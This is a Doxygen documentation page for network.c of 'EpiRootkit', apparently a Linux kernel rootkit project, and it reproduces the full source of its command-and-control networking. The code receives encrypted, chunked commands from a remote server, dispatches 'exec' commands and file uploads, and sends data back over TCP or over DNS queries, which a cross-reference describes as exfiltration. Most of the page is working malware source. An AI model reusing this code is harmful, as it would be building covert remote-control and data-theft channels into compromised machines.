EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
network.c File Reference
#include "network.h"
#include "upload.h"
Include dependency graph for network.c:

Go to the source code of this file.

Macros

#define EOT_CODE   0x04
 
#define CHUNK_OVERHEAD   11
 

Functions

static bool all_chunks_received (bool *received, size_t count)
 
static char * vformat_string (const char *fmt, va_list ap)
 
int send_to_server (enum Protocol protocol, char *message,...)
 
int send_to_server_raw (const char *data, size_t len)
 
int receive_from_server (char *buffer, size_t max_len)
 

Macro Definition Documentation

◆ CHUNK_OVERHEAD

#define CHUNK_OVERHEAD   11

Definition at line 19 of file network.c.

◆ EOT_CODE

#define EOT_CODE   0x04

Definition at line 18 of file network.c.

Function Documentation

◆ all_chunks_received()

static bool all_chunks_received ( bool *  received,
size_t  count 
)
inlinestatic

Definition at line 22 of file network.c.

22 {
23 for (size_t i = 0; i < count; ++i)
24 if (!received[i])
25 return false;
26 return true;
27}

◆ receive_from_server()

int receive_from_server ( char *  buffer,
size_t  max_len 
)

receive_from_server - Receives a message from the server, decrypts it, and processes it.

Parameters
bufferThe buffer to store the received message.
max_lenThe maximum length of the buffer.

This function reads chunks from the server, assembles them, decrypts the complete message, and returns it in the provided buffer. It handles both text commands and file uploads.

Return: The length of the received message on success, negative error code on failure.

Definition at line 200 of file network.c.

200 {
201 struct socket *sock = get_worker_socket();
202 if (!sock)
203 return -EINVAL;
204
205 // Const of the frame
206 const size_t FRAME_SIZE_FULL = STD_BUFFER_SIZE;
207 const size_t HEADER_SIZE = 10;
208 const size_t EOT_SIZE = 1;
209 const size_t BODY_SIZE = FRAME_SIZE_FULL - HEADER_SIZE - EOT_SIZE;
210
211 // Statically sized temp buffers
212 char header_buffer[10];
213 char *payloadbuf = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
214 if (!payloadbuf) {
215 return -ENOMEM;
216 }
217 char padbuf[10];
218
219 char *received = NULL;
220 bool *seen = NULL;
221 size_t nb_chunks = 0;
222 size_t total_received = 0;
223 int ret = -EIO;
224
225 // Read and assemble all chunks (please pray god)
226 while (true) {
227 int off, n;
228 uint32_t total, index;
229 uint16_t data_len;
230
231 // Read exactly the size of header in bytes
232 off = 0;
233 while (off < HEADER_SIZE) {
234 struct kvec vec = { .iov_base = header_buffer + off,
235 .iov_len = HEADER_SIZE - off };
236 struct msghdr msg = { 0 };
237 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
238 if (n <= 0) {
239 ret = -EIO;
240 goto cleanup;
241 }
242
243 off += n;
244 }
245
246 // Parse the fucking big endian fields
247 total = be32_to_cpu(*(__be32 *)(header_buffer + 0));
248 index = be32_to_cpu(*(__be32 *)(header_buffer + 4));
249 data_len = be16_to_cpu(*(__be16 *)(header_buffer + 8));
250 if (data_len > BODY_SIZE) {
251 ret = -EINVAL;
252 goto cleanup;
253 }
254
255 // Read payload and the EOT
256 off = 0;
257 while (off < (int)(data_len + EOT_SIZE)) {
258 struct kvec vec = { .iov_base = payloadbuf + off,
259 .iov_len = (data_len + EOT_SIZE) - off };
260 struct msghdr msg = { 0 };
261 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
262 if (n <= 0) {
263 ret = -EIO;
264 goto cleanup;
265 }
266 off += n;
267 }
268
269 if ((uint8_t)payloadbuf[data_len] != EOT_CODE) {
270 ret = -EINVAL;
271 goto cleanup;
272 }
273
274 // Discard remaining padding up to FRAME_SIZE_FULL
275 size_t pad = FRAME_SIZE_FULL - (HEADER_SIZE + data_len + EOT_SIZE);
276 while (pad > 0) {
277 size_t rd = pad > HEADER_SIZE ? HEADER_SIZE : pad;
278 struct kvec vec = { .iov_base = padbuf, .iov_len = rd };
279 struct msghdr msg = { 0 };
280 n = kernel_recvmsg(sock, &msg, &vec, 1, rd, 0);
281 if (n <= 0) {
282 ret = -EIO;
283 goto cleanup;
284 }
285 pad -= n;
286 }
287
288 // DEBUG
289 DBG_MSG("CHUNK %u/%u len=%u", index, total, data_len);
290
291 // On first real chunk, allocate the big buffer and the bool buffer
292 if (!received) {
293 nb_chunks = total;
294 received = vmalloc(nb_chunks * BODY_SIZE);
295 seen = kzalloc(nb_chunks * sizeof(bool), GFP_KERNEL);
296 if (!received || !seen) {
297 ret = -ENOMEM;
298 goto cleanup;
299 }
300 }
301
302 // Check the problems
303 if (total != nb_chunks || index >= nb_chunks) {
304 ret = -EINVAL;
305 goto cleanup;
306 }
307
308 if (!seen[index]) {
309 memcpy(received + index * BODY_SIZE, payloadbuf, data_len);
310 seen[index] = true;
311 total_received += data_len;
312 }
313
314 // Exit once we have every chunk (maybe should add a timeout)
315 if (all_chunks_received(seen, nb_chunks))
316 break;
317 }
318
319 kfree(seen);
320 seen = NULL;
321
322 // Decrypt and dispatch
323 char *decrypted = NULL;
324 size_t dlen = 0;
325
326 ret = decrypt_buffer(received, total_received, &decrypted, &dlen);
327 vfree(received);
328 received = NULL;
329 if (ret < 0)
330 goto cleanup;
331
332 // Clamp for text command mode
333 if (!receiving_file && dlen > max_len - 1)
334 dlen = max_len - 1;
335
336 // fuck exec prefix
337 if (dlen >= 4 && !memcmp(decrypted, "exec", 4)) {
338 memcpy(buffer, decrypted, dlen);
339 buffer[dlen] = '\0';
340 ret = dlen;
341 }
342
343 // File upload mode
344 else if (receiving_file) {
345 DBG_MSG("RECEIVING FILE : got %zu bytes", dlen);
346 ret = handle_upload_chunk(decrypted, dlen, TCP);
347 }
348
349 // Otherwise it is the normal text command
350 else {
351 memcpy(buffer, decrypted, dlen);
352 buffer[dlen] = '\0';
353 ret = dlen;
354 }
355
356 vfree(decrypted);
357 return ret;
358
359cleanup:
360 kfree(payloadbuf);
361 kfree(seen);
362 vfree(received);
363 return ret;
364}
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
Definition aes.c:335
struct socket * get_worker_socket(void)
Definition socket.c:17
#define DBG_MSG(fmt, args...)
Definition config.h:15
@ TCP
Definition config.h:29
#define STD_BUFFER_SIZE
Definition config.h:68
#define EOT_CODE
Definition network.c:18
static bool all_chunks_received(bool *received, size_t count)
Definition network.c:22
bool receiving_file
Definition upload.c:10
int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol)
Definition upload.c:16

◆ send_to_server()

int send_to_server ( enum Protocol  protocol,
char *  message,
  ... 
)

send_to_server - Sends a formatted message to the server using the specified protocol.

Parameters
protocolThe communication protocol to use (TCP or DNS).
messageThe format string for the message to send.
...Additional arguments for formatting the message.

Return: 0 on success, negative error code on failure.

Definition at line 67 of file network.c.

67 {
68 if (protocol == TCP && !get_worker_socket()) {
69 ERR_MSG("send_to_server: socket is not initialized\n");
70 return -EINVAL;
71 }
72
73 // Check if there is only one parameter (the string itself)
74 va_list args;
75 va_start(args, message);
76 if (va_arg(args, char *) == NULL) {
77 va_end(args);
78
79 // It protocol is DNS, send the message directly
80 if (protocol == DNS)
81 return dns_send_data(message, strlen(message));
82
83 // If protocol is TCP, send the raw message
84 return send_to_server_raw(message, strlen(message));
85 }
86 va_end(args);
87
88 va_start(args, message);
89
90 // If there are more parameters, format the message
91 char *formatted_message = vformat_string(message, args);
92 va_end(args);
93
94 if (!formatted_message) {
95 ERR_MSG("send_to_server: failed to format message\n");
96 return -ENOMEM;
97 }
98
99 // If the protocol is DNS, send the formatted message over DNS
100 if (protocol == DNS)
101 return dns_send_data(formatted_message, strlen(formatted_message));
102
103 // Send the formatted message through TCP
104 int ret_code =
105 send_to_server_raw(formatted_message, strlen(formatted_message));
106
107 // Free the formatted message buffer
108 kfree(formatted_message);
109 return ret_code;
110}
char * message
#define ERR_MSG(fmt, args...)
Definition config.h:16
@ DNS
Definition config.h:30
static char * vformat_string(const char *fmt, va_list ap)
Definition network.c:36
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123
int dns_send_data(const char *data, size_t len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149

◆ send_to_server_raw()

int send_to_server_raw ( const char *  data,
size_t  len 
)

send_to_server_raw - Sends raw data to the server using the TCP protocol.

Parameters
dataThe data to send.
lenThe length of the data.

This function encrypts the data, splits it into chunks, and sends each chunk to the server. Each chunk contains metadata about the total number of chunks, its index, and the length of the data in the chunk.

Return: 0 on success, negative error code on failure.

Definition at line 123 of file network.c.

123 {
124 struct socket *sock = get_worker_socket();
125 if (!sock)
126 return -EINVAL;
127
128 char *encrypted_msg = NULL;
129 size_t encrypted_len = 0;
130
131 // Encrypt the data before sending
132 if (encrypt_buffer(data, len, &encrypted_msg, &encrypted_len) < 0)
133 return -EIO;
134
135 size_t max_chunk_body = STD_BUFFER_SIZE - CHUNK_OVERHEAD;
136 size_t nb_chunks = DIV_ROUND_UP(encrypted_len, max_chunk_body);
137
138 // Send each chunk individually
139 for (size_t i = 0; i < nb_chunks; ++i) {
140 size_t chunk_len = (i == nb_chunks - 1)
141 ? (encrypted_len - i * max_chunk_body)
142 : max_chunk_body;
143
144 char *chunk = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
145 if (!chunk) {
146 ERR_MSG("send_to_server_raw: failed to allocate buffer\n");
147 vfree(encrypted_msg);
148 return -ENOMEM;
149 }
150
151 // total_chunks in big-endian 32 bits
152 uint32_t tc = (uint32_t)nb_chunks;
153 chunk[0] = (uint8_t)((tc >> 24) & 0xFF);
154 chunk[1] = (uint8_t)((tc >> 16) & 0xFF);
155 chunk[2] = (uint8_t)((tc >> 8) & 0xFF);
156 chunk[3] = (uint8_t)((tc >> 0) & 0xFF);
157
158 // chunk_index in big-endian 32 bits
159 uint32_t ci = (uint32_t)i;
160 chunk[4] = (uint8_t)((ci >> 24) & 0xFF);
161 chunk[5] = (uint8_t)((ci >> 16) & 0xFF);
162 chunk[6] = (uint8_t)((ci >> 8) & 0xFF);
163 chunk[7] = (uint8_t)((ci >> 0) & 0xFF);
164
165 // chunk_len in big-endian 16 bits
166 uint16_t cl = (uint16_t)chunk_len;
167 chunk[8] = (uint8_t)((cl >> 8) & 0xFF);
168 chunk[9] = (uint8_t)((cl >> 0) & 0xFF);
169
170 memcpy(chunk + 10, encrypted_msg + i * max_chunk_body, chunk_len);
171 chunk[10 + chunk_len] = EOT_CODE; // End of transmission
172
173 // Send the chunk using kernel socket API
174 struct kvec vec = { .iov_base = chunk, .iov_len = STD_BUFFER_SIZE };
175 struct msghdr msg = { 0 };
176
177 int ret = kernel_sendmsg(sock, &msg, &vec, 1, vec.iov_len);
178 kfree(chunk);
179 if (ret < 0) {
180 vfree(encrypted_msg);
181 return ret;
182 }
183 }
184
185 vfree(encrypted_msg);
186 return 0;
187}
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
Definition aes.c:322
#define CHUNK_OVERHEAD
Definition network.c:19

◆ vformat_string()

static char * vformat_string ( const char *  fmt,
va_list  ap 
)
static

Definition at line 36 of file network.c.

36 {
37 va_list args_copy;
38 char *formatted;
39 int needed;
40
41 va_copy(args_copy, ap);
42 needed = vsnprintf(NULL, 0, fmt, ap);
43 if (needed < 0) {
44 va_end(args_copy);
45 return NULL;
46 }
47
48 formatted = kzalloc(needed + 1, GFP_KERNEL);
49 if (!formatted) {
50 va_end(args_copy);
51 return NULL;
52 }
53
54 vsnprintf(formatted, needed + 1, fmt, args_copy);
55 va_end(args_copy);
56 return formatted;
57}